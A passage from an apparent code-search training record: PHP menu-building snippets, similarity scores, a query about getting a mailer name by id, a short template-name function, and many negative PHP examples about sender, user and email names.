src=\"images/cliente.png\" alt=\"Info Cliente\" title=\"Meus Dados\" />Meus Dados</a>\r\n </li>\r\n \r\n <li><a href=\"#\" id=\"pag\"><img src=\"images/not.png\" alt=\"Vendas\" title=\"Parcela\" />Pagamentos</a>\r\n </li>\r\n </ul>';\r\n \r\n \r\n \r\n }\r\n else {\r\n if ($nivel ==1 ){\r\n $menu ='<ul id=\"ul-menu\">\r\n <li><a href=\"#\"><img src=\"images/administrador.png\" alt=\"Info Funcionarios\" title=\"Funcionários\" />Funcionários</a>\r\n <ul class=\"submenu\">\r\n <li> <a href=\"#\" id=\"cad-fun\">Cadastrar Funcionário</a> </li>\r\n <li><a href=\"#\" id=\"fun\"> Funcionários </a></li>\r\n </ul>\r\n </li>\r\n <li><a href=\"#\"><img src=\"images/cliente.png\" alt=\"Info Cliente\" title=\"Clientes\" />Clientes</a>\r\n <ul class=\"submenu\">\r\n <li> <a href=\"#\" id=\"cad-cli\">Cadastrar Cliente</a> </li>\r\n <li><a href=\"#\" id=\"cli\"> Clientes </a></li>\r\n </ul>\r\n </li>\r\n \r\n \r\n <li><a href=\"#\"><img src=\"images/not.png\" alt=\"Info Notícia\" title=\"Notícias\" />Notícias</a>\r\n <ul class=\"submenu\">\r\n <li> <a href=\"#\" id=\"cad-not\">Cadastrar Notícias</a> </li>\r\n <li><a href=\"#\" id=\"not\"> Notícias </a></li>\r\n </ul>\r\n </li>\r\n \r\n </ul>';}\r\n if ($nivel == 2) {\r\n $menu ='<ul id=\"ul-menu\">\r\n \r\n <li><a href=\"#\"><img src=\"images/cliente.png\" alt=\"Info Cliente\" title=\"Clientes\" />Clientes</a>\r\n <ul class=\"submenu\">\r\n <li> <a href=\"#\" id=\"cad-cli\">Cadastrar Cliente</a> </li>\r\n <li><a href=\"#\" id=\"cli\"> Clientes </a></li>\r\n </ul>\r\n </li>\r\n \r\n <li><a href=\"#\" id=\"min-ven\"><img src=\"images/not.png\" alt=\"Vendas\" title=\"Minhas Vendas\" />Minhas Vendas</a>\r\n </li>\r\n </ul>';}}\r\n \r\n return $menu; \r\n \r\n }", "function right_block()\n {\n $main = container();\n\n // $main->add(html_hr());\n $main->add($this->add_mainMenu());\n\n //Titulo\n\n //$titulo = html_p(agt('Biblioteca'));\n $titulo = html_br();\n $titulo->set_class('ptabla01');\n $main->add($titulo);\n\n $main->add($this->content_section());\n\n $main->add(html_br());\n\n /*$div_line = html_div();\n $div_line->set_tag_attribute('align', 'left');\n $div_line->add(html_img(Theme::getThemeImagePath(\"hr01.gif\"), 400, 15));\n $main->add($div_line);\n */\n $main->add(html_br());\n\n return $main;\n }", "public function headerMenu()\n {\n if ($this->headerMenu === null) {\n $dashboardConfig = $this->dashboardConfig();\n\n if (isset($dashboardConfig['sidemenu'])) {\n $this->headerMenu = $this->createHeaderMenu($dashboardConfig['sidemenu']);\n } else {\n $this->headerMenu = $this->createHeaderMenu();\n }\n }\n\n return $this->headerMenu;\n }", "public function create_menu()\n\t{\n\t\t$obj = $this; // PHP 5.3 doesn't allow $this usage in closures\n\n\t\t// Add main menu page\n\t\tadd_menu_page(\n\t\t\t'Testimonials plugin', // page title\n\t\t\t'Testimonials', // menu title\n\t\t\t'manage_options', // minimal capability to see it\n\t\t\t'jststm_main_menu', // unique menu slug\n\t\t\tfunction() use ($obj){\n\t\t\t\t$obj->render('main_menu'); // render main menu page template\n\t\t\t},\n\t\t\tplugins_url('images/theater.png', dirname(__FILE__)), // dashboard menu icon\n\t\t\t'25.777' // position in the dahsboard menu (just after the Comments)\n\t\t);\n\t\t// Add help page\n\t\tadd_submenu_page(\n\t\t\t'jststm_main_menu', // parent page slug\n\t\t\t'Testimonials plugin help', // page title\n\t\t\t'What is this?', // menu title\n\t\t\t'manage_options', // capability\n\t\t\t'jststm_help', // slug\n\t\t\tfunction() use ($obj){\n\t\t\t\t$obj->render('help_page');\n\t\t\t}\n\t\t);\n\t}", "function genMenu()\n\t{\n\t $menuData = array(\n\t \t\t\t\t\t\t\tarray('text' => SHIN_Core::$_language->line('lng_label_choice_language'), 'data' => array(\n\t \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t array('type' => 'link', 'text' => SHIN_Core::$_language->line('lng_label_name_italian'), 'link' => base_url().'/change_language/it'),\n \t\t array('type' => 'link', 'text' => SHIN_Core::$_language->line('lng_label_name_english'), 'link' => base_url().'/change_language/en'),\n \t\t array('type' => 'link', 'text' => SHIN_Core::$_language->line('lng_label_name_russian'), 'link' => base_url().'/change_language/ru'),\t\n \t\t)\n \t\t ),\n\t\t\t\t\t\t\t\t \tarray('text' => SHIN_Core::$_language->line('lng_label_choice_theme'), 'data' => array(\n\t\t\t\t\t\t\t\t \t\t\t\t\t\t\t\t\t\t\t\tarray('type' => 'link', 'text' => 'Lightness', 'link' => base_url().'/change_theme/lightness'),\n\t \tarray('type' => 'link', 'text' => 'Darkness', 'link' => base_url().'/change_theme/darkness'),\n\t \tarray('type' => 'link', 'text' => 'Redmond', 'link' => base_url().'/change_theme/redmond'),\n\t \tarray('type' => 'link', 'text' => 'Smoothness', 'link' => base_url().'/change_theme/smoothness'),\n\t )\n\t\t ),\n\t \tarray('text' => SHIN_Core::$_language->line('lng_label_logout'), 'link' => base_url().'/logout')\n\t );\n\n \t$ddmenu = SHIN_Core::$_libs['ddmenu']->get_instance();\n\t $ddmenu->setMenuData('ddmenu', $menuData);\n\t SHIN_Core::$_jsmanager->addComponent($ddmenu->render());\n\t /////////////////////////////////////////////////////////\n\n\t // ppfmm menu ///////////\n\t $menuData = array( \n\t \tarray('text' => SHIN_Core::$_language->line('lng_label_main_page_ppfm'), 'link' => base_url().'/main'),\n\t \tarray('text' => SHIN_Core::$_language->line('lng_label_register'), 'link' => base_url().'/registration'),\n\t \tarray('text' => SHIN_Core::$_language->line('lng_label_todo'), 'link' => base_url().'/todo'),\n\t \tarray('text' => SHIN_Core::$_language->line('lng_label_statistic'), 'link' => base_url().'/statistic'),\n\t \tarray('text' => SHIN_Core::$_language->line('lng_label_usermanage'), 'link' => base_url().'/usermanage'),\n\t );\n\n \t$ppfmddmenu = SHIN_Core::$_libs['ddmenu']->get_instance();\n\t $ddmenu->setMenuData('ppfm_ddmenu', $menuData);\n\t SHIN_Core::$_jsmanager->addComponent($ppfmddmenu->render());\n\t /////////////////////////\t\t\n\t}", "public static function menu()\n {\n if (Auth::check()) {\n if (Auth::user()->admin) {\n return [\n 'dashboard' => [\n 'icon' => 'home',\n 'route_name' => 'admin',\n 'params' => [\n 'layout' => 'side-menu'\n ],\n 'title' => 'Dashboard'\n ],\n 'teams' => [\n 'icon' => 'star',\n 'route_name' => 'admin.teams',\n 'params' => [\n 'layout' => 'side-menu'\n ],\n 'title' => 'Teams'\n ],\n 'article' => [\n 'icon' => 'airplay',\n 'route_name' => 'admin.article',\n 'params' => [\n 'layout' => 'side-menu'\n ],\n 'title' => 'Artikel',\n 'extends' => [\n 'admin.article.create',\n 'admin.article.edit',\n 'admin.article.detail',\n ]\n ],\n\n 'devider',\n 'soal' => [\n 'icon' => 'book-open',\n 'route_name' => 'admin.question.category',\n 'params' => null,\n 'title' => 'Soal',\n 'extends' => [\n 'admin.question.category.create',\n 'admin.question.category.edit',\n 'admin.question',\n 'admin.question.create',\n 'admin.question.edit',\n 'admin.question.answer',\n 'admin.question.edit',\n 'admin.question.result',\n ]\n ],\n\n 'devider',\n 'users' => [\n 'icon' => 'users',\n 'title' => 'Users',\n 'route_name' => 'admin.user',\n 'params' => null,\n 'extends' => [\n 'admin.user.show',\n 'admin.user.create',\n 'admin.user.edit',\n ],\n ],\n 'kontak' => [\n 'icon' => 'phone',\n 'route_name' => 'admin.contact',\n 'params' => [\n 'layout' => 'side-menu'\n ],\n 'title' => 'Kontak'\n ],\n ];\n } else {\n return [\n 'dashboard' => [\n 'icon' => 'home',\n 'route_name' => 'member',\n 'params' => null,\n 'title' => 'Dashboard'\n ],\n 'test' => [\n 'icon' => 'file-text',\n 'title' => 'Test',\n 'params' => null,\n 'route_name' => 'member.test',\n 'extends' => [\n 'member.test.start',\n ],\n ],\n 'devider',\n 'riwayat' => [\n 'icon' => 'file',\n 'route_name' => 'member.history',\n 'params' => null,\n 'title' => 'Riwayat',\n 'extends' => [\n 'member.history.test',\n ],\n\n ],\n ];\n }\n }\n return [];\n }", "function menuHtml(){\n //Recupera o menu de acordo com o sistema e usuario.\n $menus = carregarMenus($_SESSION['sisid'], $_SESSION['usucpf']);\n\n //Monta o html com os menus principais. Se tiver este menu tiver itens chama o metodo de montar o html de itens de menu com todos os itens deste menu principal.\n $menusHtml = '';\n foreach ($menus as $menu) {\n\n if (empty($menu['mnuidpai'])) {\n if ($menu['itensMenu'] && count($menu['itensMenu']) > 0) {\n $menusHtml .= '<li class=\"dropdown\">';\n $menusHtml .= '<a class=\"dropdown-toggle\" href=\"#\" data-toggle=\"dropdown\">';\n $menusHtml .= $menu['mnuhtml'];\n $menusHtml .= '<b class=\"caret\"></b>';\n $menusHtml .= '</a>';\n $menusHtml .= '<ul class=\"dropdown-menu\">';\n\n // Monta o html com os itens deste menu principal recursivamente de maneira infinita.\n $menusHtml .= menuItemHtml($menu['itensMenu']);\n\n $menusHtml .= '</ul>';\n $menusHtml .= '</li>';\n } else {\n $menusHtml .= '<li>';\n $menusHtml .= '<a href=\"#\">';\n $menusHtml .= $menu['mnuhtml'];\n $menusHtml .= '</a>';\n $menusHtml .= '</li>';\n }\n\n $menusHtml .= \"\";\n }\n }\n\n return $menusHtml;\n }", "private function _getCoreMenu(){\r\n\r\n if($this->hasLogin()){\r\n $settings = array_merge((array) $this->pageSettings, (array) $this->globalSettings);\r\n $params = array();\r\n foreach($settings as $key => $value){\r\n $params[\"[!$key]\"] = $value;\r\n }\r\n\r\n $nav = '';\r\n\r\n if(isset($this->navigationSettings)){\r\n\r\n foreach((array) $this->navigationSettings as $key => $value){\r\n $nav .= \"<li>\";\r\n $nav .= \"<span>$key</span>\";\r\n $nav .= \"<span>$value</span>\";\r\n $nav .= \"<input type='text' class='mrzpn-navigation-text' value='$key'/>\";\r\n $nav .= \"<input type='text' class='mrzpn-navigation-link' value='$value'/>\";\r\n $nav .= \"<input type='hidden' name='$key' value='$value' />\";\r\n $nav .= \"<a href='JavaScript:void(0);' class='mrzpn-menu-navigation-remove'></a>\";\r\n $nav .= \"</li>\";\r\n }\r\n\r\n }\r\n\r\n\r\n $params[\"[!main_nav]\"] = $nav;\r\n\r\n echo strtr(file_get_contents(ROOT.DS.'core'.DS.'settings.php'), $params);\r\n exit;\r\n }\r\n\r\n }" ]
[ "0.7177308", "0.71032995", "0.7033713", "0.68014264", "0.676798", "0.6741472", "0.6712746", "0.6703535", "0.6697968", "0.65929896", "0.6584162", "0.6564301", "0.65542686", "0.6532783", "0.6532783", "0.6498875", "0.64954376", "0.64899427", "0.6449488", "0.64327943", "0.64277834", "0.64088273", "0.6386227", "0.63528764", "0.63449746", "0.6343804", "0.634378", "0.6325381", "0.63204145", "0.6314141", "0.6299099", "0.6296245", "0.6296245", "0.6296245", "0.6296245", "0.6296245", "0.6296245", "0.62951314", "0.62928903", "0.6287495", "0.62802345", "0.6278721", "0.62731725", "0.6271085", "0.6247007", "0.62314665", "0.6223372", "0.6223174", "0.6207591", "0.6205501", "0.6192348", "0.61861134", "0.61849856", "0.6173369", "0.6166771", "0.6155216", "0.6151282", "0.6144015", "0.6136987", "0.61183405", "0.60997164", "0.6099496", "0.60938156", "0.60858124", "0.60850143", "0.608052", "0.6079066", "0.6075094", "0.6072618", "0.6071977", "0.60667896", "0.606106", "0.6057692", "0.605244", "0.60406804", "0.60404944", "0.6024304", "0.60195047", "0.6010623", "0.6009565", "0.6002885", "0.5999894", "0.59969014", "0.5990364", "0.59862995", "0.59846854", "0.5984499", "0.59809726", "0.5980196", "0.597567", "0.597497", "0.59700596", "0.59656227", "0.59563583", "0.5955462", "0.59552974", "0.59459794", "0.59437054", "0.59362257", "0.5934223", "0.5933525" ]
0.0
-1
This function will get the mailer name based on mailerid. mailerId unique id of mailer
public static function getTemplateName($mailerId) { $templateName = $mailerId.".html"; return $templateName; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getSenderName($storeId = 0);", "protected function getSenderEmailName() {}", "protected function getSenderEmailName() {}", "public function getMailFromName() {\n return $this->mailFromName;\n }", "public function getName(): string\n {\n return 'mailingName';\n }", "function getUserNameFromId ( $id) // RH: Mailing: return 'Mailing ' + id\r\n{\r\n $mailingId = $id - dropbox_cnf(\"mailingIdBase\");\r\n if ( $mailingId > 0)\r\n {\r\n\t return dropbox_lang(\"mailingAsUsername\", \"noDLTT\") . $mailingId;\r\n }\r\n\r\n $sql = \"SELECT CONCAT(lastname,' ', firstname) AS name\r\n\t\t\tFROM \" . dropbox_cnf(\"tbl_user\") . \"\r\n\t\t\tWHERE user_id='\" . addslashes( $id) . \"'\";\r\n $result = api_sql_query($sql,__FILE__,__LINE__);\r\n $res = mysql_fetch_array( $result);\r\n\r\n if ( $res == FALSE) return FALSE;\r\n return stripslashes( $res[\"name\"]);\r\n}", "static function getName($id) {\n $campaign = self::get($id);\n if (count($campaign)>0) return $campaign['name'];\n return '';\n }", "public static function get_name_for_emails($user_id)\n {\n //Initialize name array\n $name = '';\n\n //Used for user_type and user id\n $data = DB::table('users')\n ->where('id','=',$user_id)\n ->get();\n\n $data = $data[0];\n\n //Users,Admin,Superadmin\n if($data->user_type == 1 || $data->user_type == 0 )\n {\n $name = Backend_User_Details::get_name_for_emails($data->id);\n\n }//if its user get users full name\n\n\n //get clients type id for individual and company\n $client_details_id = Backend_Client_Details::get_client_details_id_by_client_id($data->id);\n\n\n //Client Individual\n if($data->user_type == 2 && Backend_Client_Details::get_client_type_by_client_id($data->id) == 1)\n {\n $name = Backend_Client_Individual::get_name_for_email_by_client_details_id($client_details_id);\n\n }//if its client individual get client individual full name\n\n\n //Client Corporation\n if($data->user_type == 2 && Backend_Client_Details::get_client_type_by_client_id($data->id) != 1)\n {\n $name = Backend_Client_Corporation::get_full_name_by_client_details_id($client_details_id);\n\n }//if its client corporation get corporation name\n\n \n\n return $name;\n\n }", "public function getSenderName()\n {\n return $this->get(self::_SENDER_NAME);\n }", "function getResellerEmail($id) {\n\t\t$sql = <<< EOD\n\t\t\t\tSELECT *\n\t\t\t\tFROM T_Reseller\n\t\t\t\tWHERE F_ResellerID = $id\nEOD;\n\t\t$rs = $this->db->Execute($sql);\t\n\t\tif ($rs)\n\t\t\treturn $rs->FetchNextObj()->F_Email;\n\t}", "public function getName() {\n\t\treturn $this->email;\n\t}", "protected function getInviteeName()\n {\n return $this->invitee->fullName();\n }", "public function getEmailSenderName()\n {\n $from = $this->scopeConfig->getValue(\n self::XML_ADMIN_EMAIL_SENDER,\n ScopeInterface::SCOPE_STORE\n );\n $result = $this->helperData->getSenderResolver()->resolve($from);\n return $result['name'];\n }", "public function get_name() {\n return get_string('tasksendemail', 'message_email');\n }", "public function getReceiverName()\n {\n return $this->get(self::_RECEIVER_NAME);\n }", "public function getUsername(): string\n {\n return (string) $this->mail;\n }", "public function getUsername(): string\n {\n return (string) $this->mail;\n }", "public function get_orderer_mail()\n\t{\n\t\t$orderer = $this->prop(\"purchaser\");\n\t\tif(is_oid($orderer))\n\t\t{\n\t\t\t$o = obj($orderer);\n\t\t\treturn $o->get_mail();\n\t\t}\n\t\treturn null;\n\t}", "public function getMailUsername() {\n return $this->mailUsername;\n }", "public function getEmailFromName() { return $this->_emailFromName; }", "function get_name() {\n\t\treturn 'redirectmail';\n\t}", "public function getForMail($mailId)\n {\n $eventMails = EventDataMail::all();\n $eventGreetingNames = EventDataGreetingName::all();\n\n for ($i = 0; $i < sizeof($eventMails); $i++) {\n if ($eventMails[$i]->id === $mailId) {\n if (isset($eventGreetingNames[$i])) {\n return $eventGreetingNames[$i];\n }\n return null;\n }\n }\n }", "public function getCallerIdName();", "function buildername($id)\n{\n\t$buildername=mysql_fetch_array(mysql_query(\"select company_name from manage_property_builder where p_bid='$id'\"));\n\treturn $buildername['company_name'];\n\t}", "public function getDisplayName() {\r\n $displayName = $this->fname.' '.$this->lname;\r\n if(strlen($displayName) <= 1) {\r\n $displayName = explode('@',$this->email);\r\n return($displayName[0]);\r\n }\r\n return($displayName);\r\n }", "public function getUserIdentifier(): string\n {\n return (string) $this->getEmail();\n }", "public function getDefaultNameById($biomarker_id) {\n\t\t$q = \"SELECT `name` FROM `biomarker_names` WHERE `biomarker_id`='{$biomarker_id}' AND `isPrimary`='1'\";\n\t\t$results = $this->query($q);\n\n\t\tif (count($results) > 0) {\n\t\t\treturn $results[0]['biomarker_names']['name'];\n\t\t} else {\n\t\t\treturn \"unknown\";\n\t\t}\n\t}", "function getUnameFromId( $userid = 0, $usereal = 0, $is_linked = 1 )\n {\t\t\n\t\tif (isset($this)) {\n\t\t\t$zariliaUser = &$this;\n\t\t} else {\n\t\t\tglobal $zariliaUser;\n\t\t}\t\t\n $name = '';\n $userid = intval( $userid ) > 0 ? intval( $userid ) : $zariliaUser->getVar( 'uid' );\n $usereal = intval( $usereal );\n if ( $userid > 0 ) {\n $member_handler = &zarilia_gethandler( 'member' );\n $user = &$member_handler->getUser( $userid );\n if ( is_object( $user ) ) {\n if ( $usereal ) {\n $name = htmlSpecialChars( $user->getVar( 'name' ), ENT_QUOTES );\n } else {\n $name = htmlSpecialChars( $user->getVar( 'uname' ), ENT_QUOTES );\n }\n }\n if ( $is_linked ) {\n $name = '<a href=\"' . ZAR_URL . '/index.php?page_type=userinfo&uid=' . $userid . '\">' . $name . '</a>';\n }\n } else {\n $name = $GLOBALS['zariliaConfig']['anonymous'];\n }\n return $name;\n }", "function get_hoster_email()\t{\n\t\t// some mandants may have configured an individual hoster_email in their TS-Template\n\t\tif(!empty($this->conf['contact_email']) && t3lib_div::validEmail($this->conf['contact_email'])){\n\t\t\treturn $this->conf['contact_email'];\n\t\t}\n\n\t\t// default: take the email-adress given in tx_civserv_configuration\n\t\t$hoster_email=\"\";\n\t\t$res = $GLOBALS['TYPO3_DB']->exec_SELECTquery(\n\t\t\t'cf_value',\t\t\t \t\t\t\t\t\t\t// SELECT ...\n\t\t\t'tx_civserv_configuration',\t\t\t\t\t\t// FROM ...\n\t\t\t'cf_key = \"mail_to\"',\t\t// AND title LIKE \"%blabla%\"', // WHERE...\n\t\t\t'', \t\t\t\t\t\t\t\t\t\t\t// GROUP BY...\n\t\t\t'', \t\t\t\t\t\t\t\t\t\t\t// ORDER BY...\n\t\t\t'' \t\t\t\t\t\t\t\t\t\t\t\t// LIMIT to 10 rows, starting with number 5 (MySQL compat.)\n\t\t);\n\t\tif($res){\n\t\t\t$row = $GLOBALS['TYPO3_DB']->sql_fetch_assoc($res);\n\t\t\t$hoster_email = $row['cf_value'];\n\t\t}else{\n\t\t\t$hoster_email = \"info@some_hoster.de\";\n\t\t}\n\t\tif ($hoster_email == ''){\n\t\t\t$hoster_email = \"info@some_hoster.de\";\n\t\t}\n\t\treturn $hoster_email;\n\t}", "public function getFromName() : string {\n return $this->_fromName;\n }", "function getFromName(){\n\t\t\treturn $this->from_name;\n\t\t}", "public function getPosterName() {\n\t\treturn $this->posterName;\n\t}", "public function getNameIdentificationBd() {\n global $advancedCustomUser;\n if (!empty($this->name) && empty($advancedCustomUser->doNotIndentifyByName)) {\n return $this->name;\n }\n if (!empty($this->email) && empty($advancedCustomUser->doNotIndentifyByEmail)) {\n return $this->email;\n }\n if (!empty($this->user) && empty($advancedCustomUser->doNotIndentifyByUserName)) {\n return $this->user;\n }\n if (!empty($this->channelName)) {\n return $this->channelName;\n }\n return __(\"Unknown User\");\n }", "public function getPosterEmail() {\n\t\treturn $this->posterEmail;\n\t}", "static function get_name($id) {\r\n\t\t\tif (trim($id)=='') {\r\n\t\t\t\treturn '';\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$all = self::get_all();\r\n\t\t\treturn $all[$id][0];\r\n\t\t}", "public function getGiftcardSenderName();", "function getUserName($us_id)\n\t{\n\t\t$func = create_function('$id',$this->UserNameFunc);\n\t\treturn $func($us_id);\n\t}", "public function getMessFromName ()\n {\n return $this->mess_from_name;\n }", "function set_email_name( $name )\n\t{\n\t\tif( $donate_name = DN_Settings::instance()->email->get( 'from_name' ) )\n\t\t{\n\t\t\treturn sanitize_title( $donate_name );\n\t\t}\n\t\treturn $name;\n\t}", "public function getOrdererName()\n {\n if ($this->staff_free_order) {\n return \"Fisdap Staff\";\n }\n\n if ($this->user) {\n if ($this->user->isStaff()) {\n return \"Fisdap Staff\";\n }\n return $this->user->getName();\n }\n\n return $this->name;\n }", "function wp_mail_from_name( $name ) {\n\n\t\t$name = Publisher_Translation::$instances['from-name'];\n\n\t\tif ( empty( $name ) ) {\n\t\t\t$name = 'Anonymous';\n\t\t}\n\n\t\t// remove cache\n\t\tunset( Publisher_Translation::$instances['from-name'] );\n\n\t\treturn $name;\n\t}", "function fix_phpmailer_messageid($phpmailer)\n {\n }", "public function getSenderEmail($storeId = 0);", "public function getDisplayName()\n {\n return $this->email;\n }", "public function getFromName()\n\t{\n\t\treturn $this->from_name;\n\t}", "public function getUserIdentifier(): string\n {\n return (string) $this->email;\n }", "public function getUserIdentifier(): string\n {\n return (string) $this->email;\n }", "public function getUserIdentifier(): string\n {\n return (string) $this->email;\n }", "public function getUserIdentifier(): string\n {\n return (string) $this->email;\n }", "public function getUserIdentifier(): string\n {\n return (string) $this->email;\n }", "public function getUserIdentifier(): string\n {\n return (string) $this->email;\n }", "public function getUserIdentifier(): string\n {\n return (string) $this->email;\n }", "public function getUserIdentifier(): string\n {\n return (string) $this->email;\n }", "public function getUserIdentifier(): string\n {\n return (string) $this->email;\n }", "public function getUserIdentifier(): string\n {\n return (string) $this->email;\n }", "public function getUserIdentifier(): string\n {\n return (string) $this->email;\n }", "public function getUserIdentifier(): string\n {\n return (string) $this->email;\n }", "public function getname(){\n \t//return $this->msg;\n \treturn $this->phone;\n }", "function getSellerName($sellerId){\n\t\t//$row = mysql_fetch_array($result);\n\t\treturn \"\";\n\t}", "function getNameFromId($id='') {\n\t\tif(!$id) return '';\n\t\t$result = $this->select('name',\"`store_id` = '\".$this->store_id.\"' AND id = '$id'\");\n\t\tif($result) return $result[0]['name'];\n\t\treturn '';\n\t}", "public function getGiftcardRecipientName();", "function showEmail($id) {\n\t\t$email = $this->getConfig ( 'email', $id );\n\t\t$emailsize = strlen ( $email );\n\t\t$partialemail = substr ( $email, 0, 1 );\n\t\t$temp = strrpos ( $email, \"@\" );\n\t\t$endemail = substr ( $email, $temp - 1, $emailsize );\n\t\tfor($i = 1; $i < $temp; $i ++) {\n\t\t\t$partialemail = $partialemail . 'x';\n\t\t}\n\t\t$showemail = $partialemail . $endemail;\n\t\t\n\t\treturn $showemail;\n\t}", "public function getMail():string\n { \n return $this->mail;\n }", "public function get_service_name_for_mail(){\r $query=\"select `title` from `ct_services` where `id`='\".$this->id.\"'\";\r $result=mysqli_query($this->conn,$query);\r $value=mysqli_fetch_row($result);\r return $value[0];\r }", "public function getEmailToName() { return $this->_emailToName; }", "public function getMail();", "public function getDisplayName() { $n = $this->data->get(\"displayName\", null);\n if (!empty($n)) {\n return $n;\n }\n \n // I have google's name?\n if (($g = $this->getGoogleInfo())) {\n if (isset($g->givenName) && !empty($g->givenName)) {\n return $g->givenName;\n }\n if (isset($g->name) && !empty($g->name)) {\n return $g->name;\n }\n }\n \n // user is current user?? load his name if he is\n $currentUser = JFactory::getUser();\n if ((int)($currentUser->id) == (int)$this->userid) {\n return ucwords(strtolower($currentUser->name));\n }\n \n // load user and get his name\n $user = F_User::getUserById((int)$this->$userid);\n if ($user) {\n return ucwords(strtolower($user->name));\n }\n \n // wtf\n return \"???\";\n }", "public function getUsername(): string\n {\n return $this->getEmail();\n }", "public static function getNameIdentification() {\n global $advancedCustomUser;\n if (self::isLogged()) {\n if (!empty(self::getName()) && empty($advancedCustomUser->doNotIndentifyByName)) {\n return self::getName();\n }\n if (!empty(self::getMail()) && empty($advancedCustomUser->doNotIndentifyByEmail)) {\n return self::getMail();\n }\n if (!empty(self::getUserName()) && empty($advancedCustomUser->doNotIndentifyByUserName)) {\n return self::getUserName();\n }\n if (!empty(self::getUserChannelName())) {\n return self::getUserChannelName();\n }\n }\n return __(\"Unknown User\");\n }", "public function getUserName($id){\n $model = User::model()->findByPk($id);\n if($model===null)\n\t\t\treturn \"Not Available\";\n return $model->first_name;\n }", "function nameWithMail () {\n\t$link = $this->unitDB();\n\t\n\t$res = $link->prepare(\"SELECT * FROM mails m INNER JOIN users u ON u.id=m.users_name\");\n\t$res->execute();\n\t$row = $res->fetchAll(PDO::FETCH_ASSOC);\n\t\n\treturn $row;\n}", "public function getSender()\n {\n if (count($this->sender()->first()) > 0)\n return $this->sender()->first()->name;\n else\n return 'Anonymous';\n }", "public function getNameForDisplay()\n {\n if (null !== $this->getName() && '' !== $this->getName()) {\n return $this->getName();\n } elseif (1 == $this->getRealUserName()) {\n return $this->getUsername();\n }\n\n return $this->getEmail();\n }", "public function getExchangeName();", "public function getUsernameByForgotKey(){\n $key = $this->key;\n\n //get email\n $user_forgot = new \\Filebase\\Database([\n 'dir' => $this->getDataSourceForgot()\n ]);\n\n $item = $user_forgot->get($key);\n $email = $item->email;\n\n //get username\n $user = new \\Filebase\\Database([\n 'dir' => $this->getDataSource(),\n 'cache' => $this->cache,\n 'cache_expires' => $this->cache_expires\n ]);\n\n $list = $user->query()->where('email','=',$email)->limit(1)->results();\n if(!empty($list)){\n if(!empty($list[0]['username'])){\n return $list[0]['username'];\n }\n }\n return '';\n }", "public function getUserNameIdentifier()\n {\n return $this->user_name;\n }", "function get_display_name() {\n\n $classname = get_class($this);\n $folder_name = 'rlreport_' . substr($classname, 0, strlen($classname) - strlen('_report'));\n\n //use the displayname string from the specific report instance\n return get_string('displayname', $folder_name);\n }", "public function getMail():string\n {\n return $this->mail;\n }", "function getSender(){\n $return = \"\";\n if( $this->FromName != \"\" ) $return .= $this->FromName.\" (\";\n $return .= $this->From;\n if( $this->FromName != \"\" ) $return .= \")\";\n return $return;\n }", "static public function sc_wpfmp_wp_mail_from_name()\n {\n return apply_filters( \"sc_wpfmp_format_email_from_name\", __( \"WordPress File Monitor Plus\", \"wordpress-file-monitor-plus\" ) );\n }", "function getRHUL_Email() {\n\treturn getRHUL_LDAP_FieldValue(\"adi_mail\");\n}", "private function generateReportName() : string {\n\t\treturn time().\"-\".sha1($_SERVER['REMOTE_ADDR']);\n\t}", "public function getAuthIdentifierName()\n\t{\n\t return $this->email;\n\t}", "public static function email_room_type_name( $room_type_id ) {\r\n\t\t$room_type_id = AWE_function::get_room_type_id_current_lang( $room_type_id );\r\n\r\n\t\tinclude AWE_function::template_exsits( 'emails/apb-email-room-type-name' );\r\n\t}", "public function getUserName()\n {\n return substr($this->email, 0, strpos($this->email, '@'));\n }", "public function getPayerEmail() {\n\t\treturn $this->_getField(self::$PAYER_EMAIL);\n\t}", "public static function getUserName($user_id);", "public function getAwardeeName()\n {\n return isset($this->awardeeName) ? $this->awardeeName : null;\n }", "public function get_name();", "public function get_name();", "public function get_name();", "public function getEmail()\n {\n return isset($this->user['email']) ? $this->user['email'] : $this->user['id'].'@mail.com';\n }", "private function getMaillistKey() {\n\t\tif ( !$this->maillistKey )\n\t\t\t$this->maillistKey = \"mvn-maillists-\" . sanitize_key( $this->getName() );\n\n\t\treturn $this->maillistKey;\n\t}", "public function getMail(): string\n {\n return $this->_mail;\n }", "public static function getUsername() \n { \n return emailSettings::$username; \n }", "private function mailer($id)\n {\n //server\n $server = Servers::where('server_id', $id)->firstOrFail();\n $server_name = $server->server_name;\n //apps\n $server_apps = ServerApp::where('server_id', $id)->get();\n //find the apps\n foreach ($server_apps as $serverapp)\n {\n $app_id = $serverapp->app_id;\n $appfunctionaladmincount = $this->countAppFunctionalAdmin($app_id);\n //check if persons exist\n if ($appfunctionaladmincount >=1){\n //find the persons\n $appfunctionaladmin = App_FunctionalAdmin::with('persons')->where('app_id', $app_id)->get();\n foreach ($appfunctionaladmin as $functionaladmin)\n {\n $person_mail = $functionaladmin->persons->person_email;\n //run the mails\n if (filter_var($person_mail, FILTER_VALIDATE_EMAIL)) {\n if (!is_null($person_mail)){\n Mail::to($person_mail)->send(new OSnotifyMail($app_name,$server_name,$person_mail));\n }\n }\n }\n } \n $apptechadmincount = $this->countAppTechAdmin($app_id);\n if($apptechadmincount >=1){\n $apptechadmin = App_TechAdmin::with('persons')->where('app_id', $app_id)->get();\n foreach ($apptechadmin as $techadmin)\n {\n $person_techmail = $techadmin->persons->person_email;\n //run the mails\n if (filter_var($person_techmail, FILTER_VALIDATE_EMAIL)) {\n if (!is_null($person_techmail)){\n Mail::to($person_techmail)->send(new OSnotifyMail($app_name,$server_name,$person_techmail));\n }\n } \n }\n }\n\n }\n }", "public function getGrouperGroupName($provisionerGroup) {\n $stem = $provisionerGroup['CoGrouperProvisionerGroup']['stem'];\n $extension = $provisionerGroup['CoGrouperProvisionerGroup']['extension'];\n\n $name = $stem . ':' . $extension;\n\n return $name;\n }", "function getMailById($id, $includeBlocked = FALSE) {\n if (trim($id) != '') {\n $sql = \"SELECT surfer_email, surfer_id\n FROM %s\n WHERE surfer_id = '%s' %s\";\n $blockedClause = ($includeBlocked === FALSE) ? ' AND surfer_valid != 4' : '';\n $params = array($this->tableSurfer, $id, $blockedClause);\n if ($res = $this->databaseQueryFmt($sql, $params)) {\n if ($row = $res->fetchRow(DB_FETCHMODE_ASSOC)) {\n return $row['surfer_email'];\n }\n }\n }\n return '';\n }", "function getStoreName($store_id) {\n\t\n\t\taddToDebugLog(\"getStoreName(), Function Entry - supplied 